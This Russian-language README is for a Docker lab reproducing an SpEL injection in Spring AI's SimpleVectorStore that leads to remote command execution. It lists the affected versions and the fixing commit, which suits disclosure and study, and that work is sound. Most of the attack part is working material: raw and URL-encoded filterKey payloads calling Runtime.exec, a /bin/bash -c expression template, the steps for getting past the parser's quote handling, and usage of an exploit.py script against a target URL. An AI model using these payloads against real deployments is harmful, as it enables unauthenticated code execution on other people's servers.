
SpEL-инъекция через неэкранированный ключ фильтра в SimpleVectorStore приводит к удалённому выполнению кода
| Артефакт | Затронутые версии | Исправленная версия |
|---|
| org.springframework.ai:spring-ai-core | 1.0.0 – 1.0.4 | 1.0.5 |
| org.springframework.ai:spring-ai-core | 1.1.0-M1 – 1.1.3 | 1.1.4 |
Примечание: В этом проекте для воспроизведения уязвимости используется официальная версия spring-ai-core:1.0.0.
Исправляющий коммит: ba9220b22383e430d5f801ce8e4fa01cf9e75f29
Метод SimpleVectorStore.similaritySearch() передаёт имя ключа фильтра, предоставленное пользователем, в шаблон SpEL без изменений, и оно вычисляется с помощью StandardEvaluationContext. Поскольку StandardEvaluationContext предоставляет полный доступ к API рефлексии JVM, злоумышленник может внедрить:
T(java.lang.Runtime).getRuntime().exec(...)
Добавление ключа фильтра приводит к неаутентифицированному выполнению команд операционной системы.
Используйте следующий payload, обратите внимание, что необходимо выполнить однократное URL-кодирование
"'] + T(java.lang.Runtime).getRuntime().exec('calc') + #metadata['"
%22'%5D%20%2B%20T(java.lang.Runtime).getRuntime().exec('calc')%20%2B%20%23metadata%5B'%22
Передайте payload в параметр filterKey — успешно откроется калькулятор

Простой метод внедрения не сработает напрямую — необходимо преодолеть две особенности парсера:
Удаление одинарных кавычек — ключ, начинающийся с одинарной кавычки ', рассматривается как строка в кавычках; внешние кавычки удаляются, что нарушает полезную нагрузку.
Обёртка из двойных кавычек — оборачивание полезной нагрузки в двойные кавычки "..." приводит к тому, что парсер удаляет внешние двойные кавычки, сохраняя внутреннее SpEL-выражение как значение ключа, передаваемое парсеру #metadata['<KEY>'].
Пустой ключ метаданных — использование #metadata[''] с обеих сторон внедряемого выражения (вместо неопределённой переменной) позволяет избежать ошибки SpEL unknown variable, при этом всё равно вызывая exec().
Вычисляемое выражение имеет следующий вид:
#metadata[''] + T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','<cmd>'}) + #metadata[''] == 'x'
Тело HTTP-ответа будет содержать ошибку выполнения SpEL EL1030E:
operator ADD not supported between null and java.lang.ProcessImpl
Эта ошибка возникает после возврата из exec(), что подтверждает выполнение команды на уровне ОС без необходимости внешнего обратного вызова.
pip install requests)# Сборка и запуск контейнеров
docker compose up -d --build
# Просмотр логов
docker compose logs -f
# Установка зависимостей
pip install requests
# Запуск эксплуатации (ожидание запуска приложения)
python3 exploit.py --wait
# Или указание цели
python3 exploit.py --target http://localhost:8082 --wait
| Флаг | Значение по умолчанию | Описание |
|---|---|---|
--target | http://localhost:8082 | Базовый URL уязвимого приложения |
--wait | выключен | Ожидание готовности цели (полезно после docker compose up) |
Примечание: Docker Desktop (macOS/Windows) использует host.docker.internal для обратных вызовов, 127.0.0.1 для полезной нагрузки.
Процесс проверки концепции состоит из пяти последовательных шагов:
java.version с помощью T(java.lang.System)touch /tmp/pwned_cve_2026_22738 внутри контейнераid // uname // hostname в /tmp/rce_proof.txtdocker exec├── Dockerfile # Файл сборки Docker
├── docker-compose.yml # Конфигурация Docker Compose
├── pom.xml # Конфигурация проекта Maven
├── settings.xml # Настройки Maven (включая репозитории Spring)
├── exploit.py # Скрипт эксплуатации
└── src/main/java/com/example/spelrce/
├── SpelRceLabApplication.java # Главный класс Spring Boot
├── VulnController.java # Уязвимый контроллер
├── VectorStoreConfig.java # Конфигурация VectorStore
└── DummyEmbeddingModel.java # Имитация модели Embedding
# Компиляция проекта
mvn clean package -DskipTests
# Запуск приложения
java -jar target/spel-rce-lab-1.0.0.jar
# Запуск эксплуатации в другом терминале
python3 exploit.py --target http://localhost:8082